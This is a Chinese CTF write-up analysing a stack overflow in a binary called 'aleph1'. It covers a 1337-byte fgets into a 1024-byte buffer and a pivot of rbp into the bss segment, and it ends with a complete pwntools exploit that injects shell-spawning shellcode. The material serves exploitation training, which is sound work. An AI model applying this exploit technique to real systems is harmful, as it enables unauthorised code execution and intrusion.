0x00 漏洞分析
检查保护
1
2
3
4
5
6
7
8
root@kali:~# checksec aleph1
[*] '/root/aleph1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
没有开启任何保护,拖进IDA
伪代码如下
1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
char yolo[1024]; #[rsp+0h] [rbp-400h]
fgets(yolo, 1337, _bss_start);
return 0;
}
汇编代码如下
1
2
3
4
5
6
7
8
9
10
11
0x4005ca <main>: push rbp
0x4005cb <main+1>: mov rbp,rsp
0x4005ce <main+4>: sub rsp,0x400
0x4005d5 <main+11>: mov rdx,QWORD PTR [rip+0x200a54] #0x601030<stdin@@GLIBC_2.2.5>
0x4005dc <main+18>: lea rax,[rbp-0x400]
0x4005e3 <main+25>: mov esi,0x539
0x4005e8 <main+30>: mov rdi,rax
0x4005eb <main+33>: call 0x4004d0 <fgets@plt>
0x4005f0 <main+38>: mov eax,0x0
0x4005f5 <main+43>: leave
0x4005f6 <main+44>: ret
函数原型
char *fgets(char *buf, int bufsize, FILE *stream);
从文件结构体指针stream中读取数据,每次读取一行。读取的数据保存在buf指向的字符数组中,每次最多读取bufsize-1个字符(第bufsize个字符赋’\0’).
明显fgets()函数存在溢出,但是我在尝试了用__libc_csu_init函数的通用ROP,但仔细一想,第三个参数用的是标准输入,而这个以指针的方式存在于bss段中。我们没办法定位stdin的实际地址,传入rdx。如果通过传统的方式,很难完成第三个参数的传递,就没法完成第二次输入。
后发现rbp可利用,所以采用rbp迁移的方法溢出。
0x01 漏洞利用
1.测得偏移为1032
1
2
gdb-peda$ pattern offset DAn;An)AnEAnaAn0AnFA
found at offset: 1032
2.覆盖rbp为bss+0x400
,覆盖ret返回到0x4005d5 <main+11>: mov rdx,QWORD PTR [rip+0x200a54]
因为push rbp
将rbp
压入栈,所以覆盖栈中的rbp为(bss+0x400),为什么要这样覆盖?第一个buf参数为rbp-0x400,第二次执行fgets时要向bss段首写入shellcode,所以要将bss段地址加上0x400
3.二次执行fgets时,将shellcode写入了bss段首,并继续写入其他数据填满0x400+p64(任意)个字节后填一个bss段首地址.执行到leave
指令时,rbp=bss+0x400,leave
可简化为mov rsp,rbp ; pop rbp
, mov rsp,rbp
将栈迁移到bss+400,pop一个任意值到rbp,ret到bss段首,执行shellcode,拿下shell
0x02 完整exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import*
import pwnlib
context(os='linux', arch='amd64', log_level='debug')
e=ELF("./aleph1")
fgets_plt=e.plt['fgets']
bss_addr = e.bss()
shellcode=asm(shellcraft.sh())
shellcode+='A'*984
shellcode+=p64(bss_addr)
payload='a'*1024+p64(bss_addr+0x400)+p64(0x4005D5)
s=process("./aleph1")
s.sendline(payload)
#pwnlib.gdb.attach(s)
s.sendline(shellcode)
s.interactive()